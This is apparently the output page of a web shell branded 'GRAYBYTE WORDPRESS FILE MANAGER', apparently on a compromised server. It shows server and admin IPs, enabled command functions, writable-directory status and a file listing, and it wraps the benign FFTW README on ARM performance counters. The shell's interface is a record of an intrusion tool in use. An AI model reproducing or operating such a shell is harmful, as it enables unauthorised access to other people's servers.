✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/share/doc/fftw-libs-single//README-perfcnt.md
Performance Counters
====================

FFTW measures execution time in the planning stage, optionally taking advantage
of hardware performance counters. This document describes the supported
counters and additional steps needed to enable each on different architectures.

See `./configure --help` for flags for enabling each supported counter.
See [kernel/cycle.h](kernel/cycle.h) for the code that accesses the counters.

ARMv7-A (armv7a)
================

`CNTVCT`: Virtual Count Register in VMSA
--------------------------------------

A 64-bit counter part of Virtual Memory System Architecture.
Section B4.1.34 in ARM Architecture Reference Manual ARMv7-A/ARMv7-R

For access from user mode, requires `CNTKCTL.PL0VCTEN == 1`, which must
be set in kernel mode on each CPU:

        #define CNTKCTL_PL0VCTEN 0x2 /* B4.1.26 in ARM Architecture Rreference */
        uint32_t r;
        asm volatile("mrc p15, 0, %0, c14, c1, 0" : "=r"(r)); /* read */
        r |= CNTKCTL_PL0VCTEN;
        asm volatile("mcr p15, 0, %0, c14, c1, 0" :: "r"(r)); /* write */

Kernel module source *which can be patched with the above code* available at:
https://github.com/thoughtpolice/enable_arm_pmu

`PMCCNTR`: Performance Monitors Cycle Count Register in VMSA
----------------------------------------------------------

A 32-bit counter part of Virtual Memory System Architecture.
Section B4.1.113 in ARM Architecture Reference Manual ARMv7-A/ARMv7-R

For access from user mode, requires user-mode access to PMU to be enabled
(`PMUSERENR.EN == 1`), which must be done from kernel mode on each CPU:

        #define PERF_DEF_OPTS (1 | 16)
        /* enable user-mode access to counters */
        asm volatile("mcr p15, 0, %0, c9, c14, 0" :: "r"(1));
        /* Program PMU and enable all counters */
        asm volatile("mcr p15, 0, %0, c9, c12, 0" :: "r"(PERF_DEF_OPTS));
        asm volatile("mcr p15, 0, %0, c9, c12, 1" :: "r"(0x8000000f));

Kernel module source with the above code available at:
[GitHub thoughtpolice/enable\_arm\_pmu](https://github.com/thoughtpolice/enable_arm_pmu)

More information:
http://neocontra.blogspot.com/2013/05/user-mode-performance-counters-for.html

ARMv8-A (aarch64)
=================

`CNTVCT_EL0`: Counter-timer Virtual Count Register
------------------------------------------------

A 64-bit counter, part of Generic Registers.
Section D8.5.17 in ARM Architecture Reference Manual ARMv8-A

For user-mode access, requires `CNTKCTL_EL1.EL0VCTEN == 1`, which
must be set from kernel mode for each CPU:

        #define CNTKCTL_EL0VCTEN 0x2
        uint32_t r;
        asm volatile("mrs %0, CNTKCTL_EL1" : "=r"(r)); /* read */
        r |= CNTKCTL_EL0VCTEN;
        asm volatile("msr CNTKCTL_EL1, %0" :: "r"(r)); /* write */

*WARNING*: Above code was not tested.

`PMCCNTR_EL0`: Performance Monitors Cycle Count Register
------------------------------------------------------

A 64-bit counter, part of Performance Monitors.
Section D8.4.2 in ARM Architecture Reference Manual ARMv8-A

For access from user mode, requires user-mode access to PMU (`PMUSERENR_EL0.EN
== 1`), which must be set from kernel mode for each CPU:

        #define PERF_DEF_OPTS (1 | 16)
        /* enable user-mode access to counters */
        asm volatile("msr PMUSERENR_EL0, %0" :: "r"(1));
        /* Program PMU and enable all counters */
        asm volatile("msr PMCR_EL0, %0" :: "r"(PERF_DEF_OPTS));
        asm volatile("msr PMCNTENSET_EL0, %0" :: "r"(0x8000000f));
        asm volatile("msr PMCCFILTR_EL0, %0" :: "r"(0));

Kernel module source with the above code available at:
[GitHub rdolbeau/enable\_arm\_pmu](https://github.com/rdolbeau/enable_arm_pmu)
or in [Pull Request #2 at thoughtpolice/enable\_arm\_pmu](https://github.com/thoughtpolice/enable_arm_pmu/pull/2)

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Aug 2026 4.57 AM
root / root
0755
AUTHORS
0.571 KB
24 May 2018 12.03 PM
root / root
0644
ChangeLog
601.471 KB
24 May 2018 12.03 PM
root / root
0644
NEWS
23.153 KB
24 May 2018 12.03 PM
root / root
0644
README
1.89 KB
24 May 2018 12.03 PM
root / root
0644
README-perfcnt.md
3.698 KB
24 May 2018 12.03 PM
root / root
0644
TODO
1.314 KB
24 May 2018 12.03 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF